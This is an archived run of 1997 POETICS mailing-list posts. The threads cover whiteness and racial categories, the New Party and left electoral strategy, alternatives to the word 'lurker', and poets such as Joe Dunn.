Info Ron Silliman? Mark Presjnar? Curious,

Kent

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557. **Pritchett,Pat**
Re: What is white
Fri 18 Apr 1997

This was more or less the same argument, I seem to recall, made by Ashley Montagu and Aldous Huxley in a book they co-wrote in the 1940's.

From: Herb Levy
To: POETICS
Subject: Re: What is white
Date: Friday, April 18, 1997 10:40AM

Hoa Nguyen asks:

>Also, I have been very curious about the magazine "Race Traitor" -- plan to buy
>it when I have more money-- and was wondering if anyone on this list could
>please fill me in-- tell me more about their philosophy behind their "rejection
>of whiteness" (or correct me if I have that wrong). Is anyone here involved
>with that journal?

I'm not involved with the mag, but you should be able to get it, or at least the collection of writings drawn from it published under the same name, at a library.

The main thrust of their philosophy is that race is not a biological fact, but a social construct, largely developed in the US in place of the (more common in Europe at least) nationalistic views used to exclude folks from social & political communities.

"White", "Black", and "Asian" are vague terms that deny the complex dynamics of ethnic, national, personal, cultural, etc. influences that come into play in an individual's life. There aren't monolithic cultures that are White, Black, or Asian, but many cultural affects that get lost when these more generic terms become the center of discussion.

Herb Levy
[redacted]

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558. **Christopher Alexander**
Re: found poem
Fri 18 Apr 1997

> *(it's 8:30 am. 8:30 am. 8:30 am. 8:30 am. 8:30 am)*

"do you know where your answers are?"

Chris
..
christopher alexander, etc. / nominative press collective
[redacted] / **********

http://choengmon.lib.utah.edu/~calexand/nonce

Hey!!
Now Available for a mere $4:
constellation voice by linda russo

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559. **Steven Marks**
Re: Bromige-Safdie
Fri 18 Apr 1997

On Thu, 17 Apr 1997, Jeff Hansen wrote:

> *My sense is that most poems come out of implicit, rather than explicit, compromise. The compromise happened long before the moment of writing, in the poet's absorbing, thinking about, and coming to terms with the myriad poetical, social, and institutional forces impinging on him or her.*
>
> *To be able to write means to have already compromised, and to have forgotten.*

I'm mostly in agreement with what Jeff says here. If I didn't forget the inevitable compromises I have to make (many of which I'm barely aware of (and at what level willfully, I'm not sure)), then I'd never write anything. I'd fill pages with my imbedded parentheses. No, I wouldn't even get that far. Yes, writing necessarily comes from a social construct in my view. I cringe at the suffering genius model. BUT, isn't the act of forgetting perhaps an act of individuation? Perhaps the place where we "show" (surely not in full consciousness) how we have wove and been woven by the social web. Of course, this activity may just be a lie we tell ourselves to get through the night. As Donne said: "Oh what a web we weave when first practice to deceive."

Steven (I think)

Steven Marks

http://members.aol.com/swmarks/welcome.html

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560. **Kristin Gallagher**
Re: The New Party
Fri 18 Apr 1997

---

the new party isn't necessarily starting the revolution. they are more like continuing the *new* left, which is not as radically about ending globalized capitalism. they have great ideas, but don't seem to focus on poverty and its increase as a result of global cap as a central issue. if ending globalized capitalism is your thing, then philly's labor party might be more up your alley. i think the new party is more about trying to involve the *people* of labor and green interests in democracy and maybe socializing a few things. . . . this of course is just my reading . . . .

↑ Index

561. **dbkk**
Re: What is white
Fri 18 Apr 1997

At 8:15 AM -0800 4/18/97, Herb Levy wrote:

> *"White", "Black", and "Asian" are vague terms that deny the complex dynamics of ethnic, national, personal, cultural, etc. influences that come into play in an individual's life. There aren't monolithic cultures that are White, Black, or Asian, but many cultural affects that get lost when these more generic terms become the center of discussion.*

Herb et al,

I haven't been reading the list this past week because I had a grant due, but KK dutifully saved and showed me every post that made any kind of response to what I posted. I think he should start a cottage business doing this for people on the list. It's a great service. KK's Filterarma.

I wish you'd send a copy of your post to SPT's funders, where in many cases I have to count everybody in the above groups you mention, as well as "Hispanic" (which I was told during an arts adminstration seminar not to use because it is a bad word invented during the Regan administration) and the mysterious category "Other." Then I am required to give hard numbers and percentages of total for board, staff, constituency served. These are called Diversity Statistics.

No questions about income levels and class these days--I think for two reasons, the first being the obvious one that Marxism is over and class is no longer sexy. But, then, more problematically, I think a lot of condescension is implicit is this model--all whites are priviledged and all Blacks, Asians, Hispanics and Others are downtrodden innocents who need to be raised up by the Great White Funders--there's a kind of noble savage tone to the whole project. I think is is apparent in a lot of what gets funded--sophisticated and formally challenging writing is not going to seduce anybody into throwing bucks at it.

It seems there is a desire to turn writing back to a folk art--like it's very difficult to get money to support "professional" writers--rather money is given to projects which help people who wouldn't normally write express their feelings about their downtrodden state--and everybody feels good. Of course, it's possible that some members of this downtrodden category will then move to the professional category, but that's not the goal of these projects. I'm not saying that these projects are unworthy of funding, I'm just saying that there doesn't seem to be much left over for projects that would promote the development of professional writers, and so the only way to get training is that area more and more seems to be by entering the elite of graduate writing programs (and to come out the other end with no marketable skills and owing tens of thousands of dollars). I am someone who benefited greatly from free public writing programs. And I know the word professional is problematic, but I'm trying to grunt towards some kinds of distinctions here--and I know any time anybody does such a thing they're opening themselves to attack (attack, in a polite middle class way, of course--I wouldn't expect anything rude here).

SPT is asked to hand out evaluation questionaires at our events where the audience is supposed to check off what group they belong to. Audience members were continually indicating on the questionnaires that they found these categories problematic and reductive, so, following the example of another group, we changed our questionnaire to read something like, "We're often asked to provide these statistics by our funders, so please . . ."

To clarify: I *am* in favor of providing a broad racial mix in the people I program--and I've been taking steps to broaden that mix futher. This is something I think is good (and which has resulted in some great events), not something I do grudgingly.

Of course these categories are reductive--but my point is that to say these categories aren't real is to not live in the real world--and further, since they are so vastly operative in the world, I think that it would be difficult not to have internalized them and see the world through them--no matter how much you disapprove of them.

Dodie

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562. William Burmeister Prod
Re: if this is still under discussion
Fri 18 Apr 1997

> *Robin Blaser : "poets are the deodorant pucks in the urinal of life."*

Hmmm. May be the same guy who once wrote in the porta-toilet:

Thank you, your shit
Is our bread & butter.

↑ Index

563. Steven Marks
Re: if not to lurk
Fri 18 Apr 1997

How about gazer? Same number of syllables as lurker. No negative associations; even a gentle one of stargazing, and I don't mean Hollywood.

tryingly,
Steven

On Fri, 18 Apr 1997, Dave Zauhar wrote:

> *spectator? and it's various permutations (as in "hi. I've been spectating on this list for 6 years now. . .")?*
>
> *DZ*
>
> *Hoverer is too hard to say, too many syllables. I agree, lurk has sinister connotations, unwarranted here. Look/looker would seem to have fewer, though maybe some old-timey slang ones:"She's a real looker!" I'll keep thinking. It's a good quest. sp*
>
> *addendum to previous post about lurking....*
>
> *how about hoverer? hovering? " to hang fluttering in the air, to remain suspended over a place or object, to move to and fro near a place, to be in a state of uncertainty, irresolution, or suspense" and i would add, to be in a state of too much to do-ness, not not caring...*
>
> *kl*
>
> *in response to david israel:*
>
> *so, how about neologize a newer, more congenial self-descriptive?*

> *if not to lurk, then what?*

Steven Marks

http://members.aol.com/swmarks/welcome.html

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564. **henry gould**
Re: if this is still under discussion
Fri 18 Apr 1997

On Fri, 18 Apr 1997 12:37:20 -0400 Michael Boughn said:
>
> "You leave out the true animal bearing of the species and in
> the end . . . you pay for it by sex."
>
> --Charles Olson

He got that from Freud, didn't he? Sounds like a quote from Freud's late essay, "Surfer Coyotes and Their Discontents". There's always somebody who understands our true animal bearing. Thoth was an owl. Pith was a dog. Somehow it's always clarified at the podium in some sort of lecture, by some explainer or other with wolf hair. (FERAL BIPED - CAUTION)

↑ Index

565. **Michael Boughn**
Re: safdie-bromige
Fri 18 Apr 1997

> *On Fri, 18 Apr 1997 08:14:38 -0500 Jeff Hansen said:*
>
> *This is all to say that I don't believe in individual vision, and that writing is irreducibly social.*

This seems a rather overly simplistic binarism, Jeff.

"If the 'poem' of _otherness_ is already begun _infrapsychisme_, our art must equal this 'reseau de telecommunication'; for, as de Beauregard says, 'in it exist "les futurs contingents en acte" but we are unconscious of them.'

. . .

"The poet does not dwell upon the absence of harmony in historical isolation, as does the contemporary philosopher; he can speak before he knows, and this act connects him to the 'spirit of man' which Olson says 'is always ahead of his ideas.' A transitional period of disharmony, regarded not situatively but morphogenetically, may even contain a new _given_: 'Communal insanity ceases to be insanity'. Paz writes: Destruction was my Beatrice, Mallarme says in a letter to a friend; at the end of the journey the poet does not contemplate the Idea, symbol or archetype of the universe, but a space in which a constellation appears: his poem.

"This place of emergence is in keeping with the Minoan gesture of epiphany, which distinguishes it from modern 'primitive' practices that attempt to induce epiphany by a non-ordering intervention instead of a non-central position."

--John Clarke, _From Feathers to Iron_: 152.

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566. Matthias Regan
the PostModern Dilemma
Fri 18 Apr 1997

---

imaginary toadstools with
real toadstools inside them

↑ Index

567. Mark Prejsnar
Re: The New Party
Fri 18 Apr 1997

WARNING: LONG POST ON POLITIX,
IN RESPONSE TO KENT'S QUERY

Kent--

I've been active off and on with the New Party. I might be more active if they were a presence in Georgia, as they are *extremely* oriented toward building right now at the local level. A few people (in Wisconsin?? in the midwest) founded it about 7 (?) years ago; the guiding light is generally considered to be Joel Rodgers, a poli sci academic by trade, who has authored or co-authored many of their public statements. There was a quite impressive essay in the Nation, which to some extent constituted a founding gesture as far as much of the country was concerned, and got hundreds of people (including myself) hooked up with the party.

Their platform is in flux and very vague, which has pissed off lots of people on the left, and led to many attacks. The NP says that this is because ultimately they want the folks who are building the party to draw up its detailed credo, and it is still in very formative stages. They claim I think a couple of thousand members, some of whom are of course paper. They have very active chapters in some major cities like Chicago. Their early, tentative outlines of belief/strategy emphasize elections and include what I would call a classic social-democratic set of details. One of their defining features is belief in a tactic called fusion..This would involve placing a candidate (usually a Democrat) on the ballot (for anything from school board to President) under the New Party as well as her own party...The theory is that as the NP swings people to the left, it could demonstarate that it had been indispensible to gettng and keeping that cadidate in office...Said cadidate would then (tho' a Demo and usually quite unwilling) be forced to move invreasingly to the left, to retain NP support and not lose the next election. Fusion was outlawed in most states to help crush the Socialists, Populists and other left electoralist force early in this century. They are hoping to overturn those laws.

My modified admiration for them is based on the fact that (at least at first) they were articulating a pretty forthright left/social-democrat attack on the Republicrat structure, which I hoped would pry activists and working class people away from the Democratic obscenity. It remains to be seen, in my estimation, whether they can deliver on that promise. Where they are active with ten or more members they have won city council and similar type elections (sometimes in loose coalition with left-leaning local Demo's) with impressive results. They seem in my experience to be doing better than most leftists of the past two decades at drawing in **real** working class people of all races. (The main argument in favor of fusion, in my opionion, and maybe in favor of the NP, is that most workers who haven't sunk deep into despair, who are somewhat harder to mobilize, still believe the media that the Republicrats are and **can only be** the one and only game in town..Fusion offers a way to draw in folks like that, while they still half-believe that only a vote for a Demo. is not "thrown away." Many friends of mine, including those who think the immediate way forward is mainly electoral (a debateable point certainly), now suspect that the NP is going to repeat the trajectory of Democratic Socialists of America, and become a sunday tea-club entirely subservient for all practical purposes to the Democratic wing of the Republicrats, and thus dead as a political force. I'm not convinced of that, yet. I totally agree with you that there should be an IMMEDIATE merger of all reasonably left parties that think the way forward is (partly) electoral: most green formations, the New Party, the Labor Party, Campaign for a New Tomorrow, and others...(A considerable number are involved with the Independent Progressive Political Action Network, a half-step toward

unity, which I've been involved with recently; but many are only half-committed..)

Much more could be said, but that's the general outlines of one (highly personal) response to them...They have a good website. As for the Labor Party, which you mention, until their naitonal leadership wholly endorses activism/membership by folks outside certified union locals, and commits to running its own cadidates, it remains a pretty limited option for most of us...And again, many (including some of its own members) believe with considerable reason that as long as it says it is a "party" but won't field its own cadidates, it is going to be simply a wing of the Clintonian ultra-right Demos, as is so much of the labor movement which is responsible for founding it. At the moment, from what I can see, that's a more compelling accusation than the similar one against the NP..

Mark P.
Atlanta

On Wed, 16 Apr 1997, KENT JOHNSON wrote:

> *Speaking of Howard Zinn, does anyone know anything about the New Party? I saw an ad a couple weeks back where Zinn is listed as a "member" along with Noam Chomsky, Cornel West, Barbara Ehrenreich, Jim Hightower, and other prominent others. I've also seen the NP championed by Alexander Cockburn in the Nation, talking about them winning a few dozen local elections around thecountry in the past couple years or so.*
>
> *What's the history? How does this group differ, say, from the new Labor Party founded in Philly, or "Nader's" Green party? What would be the sticking points to overcome before a possible electoral alliance, for example? (Nader got half a million in only 26 states, so such unity might have eventual ground-breaking results?) Ten years ago I could draw a fractal family tree of every little left splinter group in the country since James Cannon marched out of the CPUSA politburo singing the Internationale. Now I don't even know where this glitzy and well-appointed New Party came from. A DSA leap into third party politics?*
>
> *I feel left out and don't want the revolution to start without me.*
>
> *Info Ron Silliman? Mark Presjnar? Curious,*
>
> *Kent*

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568. **Mark Weiss**
Re: the PostModern Dilemma
Fri 18 Apr 1997

---

and inside the innermost a dab of foiegras yum yum
At 12:20 PM 4/18/97 -0500, you wrote:
>imaginary toadstools with
>real toadstools inside them
>
>

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569. **Dave Zauhar**
Re: if not to lurk
Fri 18 Apr 1997

---

spectator? and it's various permutations (as in "hi. I've been spectating on this list for 6 years now. . .")?

DZ

> *Hoverer is too hard to say, too many syllables. I agree, lurk has sinister connotations, unwarranted here. Look/looker would seem to have fewer, though maybe some old-timey slang ones:"She's a real looker!" I'll keep thinking. It's a good quest. sp*
>
> *addendum to previous post about lurking....*
>
> *how about hoverer? hovering? " to hang fluttering in the air, to remain suspended over a place or object, to move to and fro near a place, to be in a state of uncertainty, irresolution, or suspense" and i would add, to be in a state of too much to do-ness, not not caring...*
>
> *kl*
>
> *in response to david israel:*
>
> *so, how about neologize a newer, more congenial self-descriptive?*
>
> *if not to lurk, then what?*

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570. **Mark Weiss**
Re: if this is still under discussion
Fri 18 Apr 1997

For years I thought it would be a good thing to write a "folk" tale. Did that (too long to quote). Then a fortune cookie :"If you have broken this cookie with your fingers/ don't lick them." (actually had cookies made with that in them for a party). Recently I thought i'd invent a bathroom graffito, see if it had legs--start it in a few places and watch the spread: "Better to light a match than to curse the methane." Any volunteers for the experiment, my blessings upon you.

Is incitement to graffiti against the law?

At 01:09 PM 4/18/97 -0400, you wrote:
>>Robin Blaser : "poets are the deodorant pucks in the urinal of life."
>
>Hmmm. May be the same guy who once wrote in the porta-toilet:
>
>Thank you, your shit
>Is our bread & butter.
>
>

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571. **dbkk**
Re: What is white
Fri 18 Apr 1997

At 5:56 PM -0700 4/17/97, Jeffrey W. Timmons wrote:
>uh dodie--didnt have your address--just wanted to say i was[n't] dissing you.
>i just latched on to your use of that term

Jeffery,

As I remember it, I said "white guys" in my original post. It's interesting that you latched onto "white." Why not deconstruct "guys," why not lauch into gender performance here?

No offense take.

x,
Dodie

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572. **sschu30844**
Re: monk, t.
Fri 18 Apr 1997

There's a young scholar at NYU, whose name I can't remember, who is currently writing a biography of Monk. He was featured on PBS recently in a program about the lives of minority faculty across the country. Try the American Studies department there for an update?

Susan

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573. **Joe Safdie**
Re: monk, t.
Fri 18 Apr 1997

Pierre,

What exactly is the "ocl worldwide catalogue" and how can one attain access to it? It seems -- from what it gave you about Monk -- a most useful database!

Joe

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574. **Sylvester Pollet**
Re: if not to lurk
Fri 18 Apr 1997

Yes, that's better than my looker, Steve. But it makes me think of another possibility, grazer. to graze. gaze does often have the subtext of awe, which would be hard to maintain some days! sp

> *How about gazer? Same number of syllables as lurker. No negative associations; even a gentle one of stargazing, and I don't mean Hollywood.*
>
> *tryingly,*
> *Steven*
>
> *On Fri, 18 Apr 1997, Dave Zauhar wrote:*
>
> *spectator? and it's various permutations (as in "hi. I've been spectating on this list for 6 years now. . .")?*
>
> *DZ*
>
> *Hoverer is too hard to say, too many syllables. I agree, lurk has sinister*

> *connotations, unwarranted here. Look/looker would seem to have fewer, though maybe some old-timey slang ones:"She's a real looker!" I'll keep thinking. It's a good quest. sp*
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> *kl*
>
> *in response to david israel:*
>
> *so, how about neologize a newer, more congenial self-descriptive?*
>
> *if not to lurk, then what?*
>
> ---
>
> *Steven Marks*
>
> *http://members.aol.com/swmarks/welcome.html*
>
> ---

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575. **Joseph Lease**

Re: What is white

Fri 18 Apr 1997

---

ps: I was stuck by Ginsberg's line in the poem that Douglas Messerli posted recently (a fine poem, by the way):

G is answering "multiple identity" question form and says white if Jews are white:

I'm really not meaning to start a thread with this (please lets not) only to repeat it (probably for Maria):

On Fri, 18 Apr 1997 [redacted] wrote:

> *At 5:56 PM -0700 4/17/97, Jeffrey W. Timmons wrote:*
> *uh dodie--didnt have your address--just wanted to say i was[n't] dissing you.*
> *i just latched on to your use of that term*
>
> *Jeffery,*

> *As I remember it, I said "white guys" in my original post. It's interesting that you latched onto "white." Why not deconstruct "guys," why not lauch into gender performance here?*
>
> *No offense take.*
>
> *x,*
> *Dodie*

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576. **Michael Franco**
Re: Joe Dunn
Fri 18 Apr 1997

Dear Kevin

Michael Franco here & your so right "He was, I think, a wonderful writer, and one of the nicest people I've ever met." When he first showed up at Word of Mouth I landed on him to tell him how important the White Rabbit books and the DREAM HOUSE had been for me- actually embarassed him I think - He was struck that we even knew what he had done & who he was. He without question agreed to be the ghost of Lorca for my AFTER LORCA reading- we put him on tape and set the recorded in the midst of the room... his wonderful twang wrapping around the words- and just last summer in introducing Gerrit Lansing and Ken Irby he recounted what just about every younger or older poet in the room was up to... he was just simply a fine man a fine poet & any one interested in Boston, SF or just poetry & having a life in poerty- regardless of prizes or "fame" would have a grand time looking into his work

all best
Michael

"On the branches of Laurel
Saw two shadowy pigeons.
One of them was the sun
The other the moon"
spicer- a trans. for Joe Dunn

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577. **Peter Jaeger**
Re: if not to lurk
Fri 18 Apr 1997

On Fri, 18 Apr 1997, Steven Marks wrote:

> *How about gazer? Same number of syllables as lurker. No negative associations; even a gentle one of stargazing, and I don't mean Hollywood.*

gazer seems a bit too psychoanalytic . . . what about something more pastoral, like "grazer," as in "I'm a grazer in the open fields of poetics...

peter

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578. **Joseph Lease**
Re: safdie-bromige
Fri 18 Apr 1997

---

well in my opinion you are both absolutely right and it's an extremely generative question to be sure:

it's really not an either/or:

for example one might say:

I don't believe in glorifying individual vision

or

I don't believe that individual vision can best be looked at as a stable quality but rather as a flux constructed by power and specific cultural and historical entanglements

or

I don't believe in forgetting that individual vision is also part of political textuality

or or or

On Fri, 18 Apr 1997, Michael Boughn wrote:

> *On Fri, 18 Apr 1997 08:14:38 -0500 Jeff Hansen said:*
>
> *This is all to say that I don't believe in individual vision, and that writing is irreducibly social.*
>
> *This seems a rather overly simplistic binarism, Jeff.*
>
> *"If the 'poem' of _otherness_ is already begun _infrapsychisme_, our art must equal this 'reseau de telecommunication'; for, as de Beauregard says, 'in it exist "les futurs contingents en acte" but we are unconscious of them.'*
>
> *. . .*

> *"The poet does not dwell upon the absence of harmony in historical isolation, as does the contemporary philosopher; he can speak before he knows, and this act connects him to the 'spirit of man' which Olson says 'is always ahead of his ideas.' A transitional period of disharmony, regarded not situatively but morphogenetically, may even contain a new _given_: 'Communal insanity ceases to be insanity'. Paz writes:*
>
> > *Destruction was my Beatrice, Mallarme says in a letter to a friend; at the end of the journey the poet does not contemplate the Idea, symbol or archetype of the universe, but a space in which a constellation appears: his poem.*
>
> *"This place of emergence is in keeping with the Minoan gesture of epiphany, which distinguishes it from modern 'primitive' practices that attempt to induce epiphany by a non-ordering intervention instead of a non-central position."*
>
> > *--John Clarke, _From Feathers to Iron_: 152.*

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579. William Burmeister Prod

Re: if this is still under discussion

Fri 18 Apr 1997

On Apr 18, 10:51am, Mark Weiss wrote:
> Subject: Re: if this is still under discussion
> For years I thought it would be a good thing to write a "folk" tale. Did
> that (too long to quote). Then a fortune cookie :"If you have broken this
> cookie with your fingers/ don't lick them." (actually had cookies made with
> that in them for a party). Recently I thought i'd invent a bathroom
> graffito, see if it had legs--start it in a few places and watch the spread:
> "Better to light a match than to curse the methane." Any volunteers for the
> experiment, my blessings upon you.
>
> Is incitement to graffiti against the law?
>
> At 01:09 PM 4/18/97 -0400, you wrote:
> >>Robin Blaser : "poets are the deodorant pucks in the urinal of life."
> >
> >Hmmm. May be the same guy who once wrote in the porta-toilet:
> >
> >Thank you, your shit
> >Is our bread & butter.

Where I went to high school, there was such a poet: The Shithouse Poet. He may be well travelled (I suspect). The one piece I remember,

They paint these walls
To hide my pen,
But the shithouse poet
Strikes again.

-The Shithouse Poet (aka Jack Spandrift)

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580. **Joseph Lease**
Re: safdie-bromige
Fri 18 Apr 1997

On Fri, 18 Apr 1997, Joseph Lease wrote:

> *well in my opinion you are both absolutely right and it's an extremely generative question to be sure:*
>
> *it's really not an either/or:*
>
> *for example one might say:*
>
> *I don't believe in glorifying individual vision*
>
> *or*
>
> *I don't believe that individual vision can best be looked at as a stable quality but rather as a flux constructed by power and specific cultural and historical entanglements*
>
> *or*
>
> *I don't believe in forgetting that individual vision is also part of political textuality*
>
> *or or or*

and and and and and

the point being something like is there a specific
critique and or history that can be done BETTER
WITHOUT taking into account both subjectivity
and identities, which are plural and in motion

↑ Index

581. **henry**
Re: if not to lurk
Fri 18 Apr 1997

---

grazer - a bit too bovine. how about "ruminant"? same problem.

how about ringsider? combines insider & grin. if you're not grinning you can always go outside for some fresh air [hack, hack]

Jack Spandrift

"floats like a tub,
stings like a lemon"

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582. **Christina Fairbank Chirot**
Re: if not to lurk
Fri 18 Apr 1997

---

how about stalker

that old movie "They Walk Among Us"

or stealth er

(just to inject some hyperbolic paranoia)

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583. **David Israel**
Re: if not to lurk -Reply
Fri 18 Apr 1997

---

well, there is also "auditing" --
or for that matter, "reading" --
one could be a "consumer" or an "imbiber" or a "tippler" or a "totler" [sp?, as in tea-totling] --

a listserv totler (taking in the totality of discourse)

which makes one wonder abt. origins of "tea-totler" (if specifically contra tippler or other such alcoholicals) --

a watcher of posts, a seer of sentences . . . . ?

(i'm still not satisfied in this name-quest)

d.i.

p.s.: grazer does, of course, have specific yuppie-dieting connotations -- (poss. not overbearing ones, but they're there; but must say "grazer" does have some things in its favor -- a chewer of listserv cud)

a cud-chewer? -- any other bovine (or other barnyard) techno-speak?

> *Peter Jaeger at 04/18/97 02:39pm wrote:*
> *gazer seems a bit too psychoanalytic . . . what about something more pastoral, like "grazer," as in "I'm a grazer in the open fields of poetics...*

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584. **Hoa Nguyen**
Re: what is white
Fri 18 Apr 1997

On Thursday April 17 Jeffrey W. Timmons wrote:

..."white was used in a homogenizing fashion that failed to be attentive to the pluralities that term is used to organize and did not recognize the virtually indistinct category it is. of course it does have a powerful political resonance"

Maybe it would be appropriate to address exactly what this "resonance" is. and what is the "it"?

I agree that the term is impenetrable and tricky-- Melville's whale-- and at the same time the "resonance" is what I live with everyday of my life. I understand that "white" is a "concept" designed to divide and imbue power-- to other others-- I am at the receiving end of this in many palpable ways, whether it is people (potential landlords, employers etc.) not getting calling me back because of my "foreign" name or people acting shocked at my perfect English and then "Welcoming" me to America or people saying "You know I know a Vietnamese man. He is *very* intelligent" or people asking me if my parents know kung-fu.

Each time I said "people" in the previous, I meant white people. It is not a very satisfying term for me either. I don't know what else to call the experience I have with "white" Americans.

..."race is semantically and epistemologically more complicated that the linguistic and conceptual categories used to discuss it. itd be more useful i think to be aware of that"

I am very aware of race and its complications-- you wield incredible privilege as you speak of race as you do above. Race is not a concept to me in my daily experiences.

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585. **David Bromige**
divers
Fri 18 Apr 1997

George, was that posting meant to be backchanneled to me? True, I frequently suffer from what the shrinks used to term "Ideas of reference", true, California i s full of swimmers, but theyre not all English and you did ask to be taught the English e . Unfoprtunately, old chum, I havent the faintest notion what an English e is. But I do wish you were here. If youre trying to cadge an invite, its always open house to Bowering at the Bromige hovel. I'll throw another woodchip on the barbie.

Thanks, Nicole Markotic, for that fine full summary of the cixous talk. Are you now in Philly and not Calgary, or did you post this via a Philly friend?

Okay, Henry, indeed we have repressive desublimation (Herbert Marcuse's term, I believe, we read him a lot in the 60s) all over the set now, its what i called a short poem of mine whose only other line plays with Freud's "a child is being beaten," only i substitute "eaten".

Jeffrey Timmons: I believe I spelled you Geoffrey the other day. Apologies. The Dead Father who "is dead but still with us, still with us but dead" gives me the chance to plug "Weekend at Bernie's II", a movie I find hilarious whenever dead Bernie comes to "life" as the reggae begins. Anyone else out there--lurker, hoverer, Peeping Tom or Tomasina; E's-dropper, snooper, lazybones, one-of-few-words, freeloader, attendant spirit, spear-carrier, old mole--share my enthusiasm for this no doubt lousy flick?

"Playful duplicity in language"--Andrew, that's right up my alley, do I need a sanskrit scholar or is there a handy translation? (This has probably been mentioned already, but I was skimming).

Skimming, was t h a t what you meant to write, George Bowering? db.

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586. **David Israel**
Re: if not to lurk / stalker
Fri 18 Apr 1997

Interestingly, "stalker" -- in the great metaphysical sci-fi film by Andre Tarkovsky (based, I think, on novel by Stanislav Lem (presumably titled, like the film, *Stalker*?)-- as was likewise the other great Tarkovsky sci-fi film *Solaris*) -- "stalker", I say, in said film, denoted the fellow who was a guide to the regions of mystery (ergo, something of a guru character, while also an outlaw of a

benign sort) -- of course, I don't know what Russian (from Tarkovsky) or Polish (from Lem?) word this English "stalker" translates -- but the English word, there, seemed more along the lines of "stalking the wild mushrooms" -- one who is knowledgeable of the esoterica of a natural environment of some type (the particular natural environment, in this case, being of "The Zone" -- the region of land that it was officially forbidden to visit . . . .)

not sure this is support for the nominative candidacy (candidative nomination??) of "stalker" in lieu of "lurker" -- just vital info & idle chit-chat (can you tell the diff ?)

d.i.

>>> Christina Fairbank Chirot <[redacted]> 04/18/97 03:21pm >>>

how about stalker

that old movie "They Walk Among Us"

or stealth er

(just to inject some hyperbolic paranoia)

↑ Index

587. **Hugh Steinberg**
Re: if not to lurk -Reply
Fri 18 Apr 1997

> *well, there is also "auditing" --*
> *or for that matter, "reading" --*
> *one could be a "consumer" or an "imbiber" or a "tippler" or a "totler"*
> *[sp?, as in tea-totling] --*

I like "reader" best so far.

Hugh Steinberg

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588. **Matthias Regan**
Re: if not to lurk -Reply
Fri 18 Apr 1997

> *(i'm still not satisfied in this name-quest)*

The problem might be LURK was best in the first place. From the viewpoint of non-LURKers (in one sense we are all LURKers most of the time) LURK captures the sudden reveal - "Ive been here

for years!" (CLOAKed) - and for the LURKER LURK is nice
because of MUCK and RAKE and LURCH and LUCK,
all of which are very applicable to what's going on:
skimming the boring stuff is like RAKING THE MUCK, LUCK
and LURCH refer to stumbling over a post
you want to write about and for saying something
that demonstrates you haven't a clue what's going on.

I do it all the time.

Matthias Regan
Northwestern University
Department of Chemistry
Phone: 847/[redacted]

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589. **DS**

Re: What is white

Fri 18 Apr 1997

---

all dead white guise

At 10:56 AM 4/18/97 -0700, you wrote:
>At 5:56 PM -0700 4/17/97, Jeffrey W. Timmons wrote:
>>uh dodie--didnt have your address--just wanted to say i was[n't] dissing you.
>>i just latched on to your use of that term
>
>Jeffery,
>
>As I remember it, I said "white guys" in my original post. It's
>interesting that you latched onto "white." Why not deconstruct "guys," why
>not lauch into gender performance here?
>
>No offense take.
>
>x,
>Dodie
>
>

↑ Index

590. **Dave Zauhar**
Re: monk, t.
Fri 18 Apr 1997

Would this be Robin Kelley?

DZ

> *There's a young scholar at NYU, whose name I can't remember, who is currently writing a biography of Monk. He was featured on PBS recently in a program about the lives of minority faculty across the country. Try the American Studies department there for an update?*
>
> *Susan*

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591. **Daniel Zimmerman**
Re: What is white
Fri 18 Apr 1997

Hoa Nguyen wrote:
>
> Dear Jeffery Timmons:
>
> Ok, I'll bite--
>
> but first a couple of questions...
>
> "Objection"? Why objection?
> Are you looking for an answer or making a point?
>
> This is my answer, if one is wanted--
>
> I have been asked this question before by European-Americans ("Whites")--
and it
> usually comes up when I talk about my experiences as a woman of color. For
> example, when I describe how it feels to be the only poet of color in a given
> magazine or at a poetry reading-- I am sometimes asked "Isn't white a color?"
>
> I started this response by asking a question-- because it has been my experi-
ence
> that when white people ask me this, it is a way of trying to deny my experi-
ences
> of difference-- to dodge the everyday priledges of belonging in the white
world

> that white people have (without often knowing they have it). So I would like to
> know why you asked. Is it because you don't understand what is meant or are you
> challenging the construction of whiteness and if so how come you are choosing to
> go about it?
>
> So, my answer is: white people are people of European heritage (A.G., I recall
> wrote he was "white if Jewish people are white").
>
> Also, I have been very curious about the magazine "Race Traitor" -- plan to buy
> it when I have more money-- and was wondering if anyone on this list could
> please fill me in-- tell me more about their philosophy behind their "rejection
> of whiteness" (or correct me if I have that wrong). Is anyone here involved
> with that journal?
>
> >Date: Mon, 14 Apr 1997 19:01:46 -0700
> >From: "Jeffrey W. Timmons" <[redacted]>
> >Subject: Re: George Wills and the Imago of Alan Ginsbuerg,
> > in the 2nd circle
> >To: [redacted]
> >
> >On Mon, 14 Apr 1997 dodie wrote:
> >
> >> This totalizing "we" is problematic to me.
> >
> >ok.
> >
> >> As I see it, he embodied alienation for a bunch of white guys (and a
> >> few women such as Maria D.), a fine thing to do--but other people have
> >> embodied that for other groups and will continue to.
> >
> >objection! please define "white." i dont bite.
> >
> >jeffrey timmons
> >
>
> ----------
> Get Your *Web-Based* Free Email at http://www.hotmail.com
> ----------For what it's worth, in a huge, multi-

decade study of the history of
human genetics which looked at populations in situ before 1492, Luca Cavalli-Sforza and his colleagues report, among other things, that the genes found in Europeans derive 65% from Asia, 35% from Africa--i.e., that there are no chacteristically European [& perhaps no or few characteristically white] genes. So much for _that_ basis of racism!

It seems to me that if we think of ourselves in our complete diachrony--at least back pre-Ice, pre-cave--we can think of each other so, too, & slough the too-tight "social constructs" [of race, gender, whatever] for whose construction we bear no primary responsibility, & take our own ancient humanity into our own hands, regardless of what others would have us do with it, to shape ourselves to uses outstripping even the "dromological" rocket-sled Paul Virilio sees us strapped to.

In a shade of the pale,
Dan Zimmerman

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592. **Sylvester Pollet**
Re: if not to lurk
Fri 18 Apr 1997

---

peter--I like it, I like it (as you'll see from an independent posting!) sylvester

> *On Fri, 18 Apr 1997, Steven Marks wrote:*
>
> *How about gazer? Same number of syllables as lurker. No negative associations; even a gentle one of stargazing, and I don't mean Hollywood.*
>
> *gazer seems a bit too psychoanalytic . . . what about something more pastoral, like "grazer," as in "I'm a grazer in the open fields of poetics...*
>
> *peter*

↑ Index

593. **Sylvester Pollet**
Re: if not to lurk
Fri 18 Apr 1997

Well, I kind of liked the bovine (passivity). And doesn't ringsider combine insider with gnir? Or am I being too literal? Your poem is wonderful--too bad Liston didn't think of that. S.

> *grazer - a bit too bovine. how about "ruminant"? same problem.*
>
> *how about ringsider? combines insider & grin. if you're not grinning*
> *you can always go outside for some fresh air [hack, hack]*
>
> *Jack Spandrift*
>
> *"floats like a tub,*
> *stings like a lemon"*

↑ Index

594. **Mark Weiss**
Re: if not to lurk
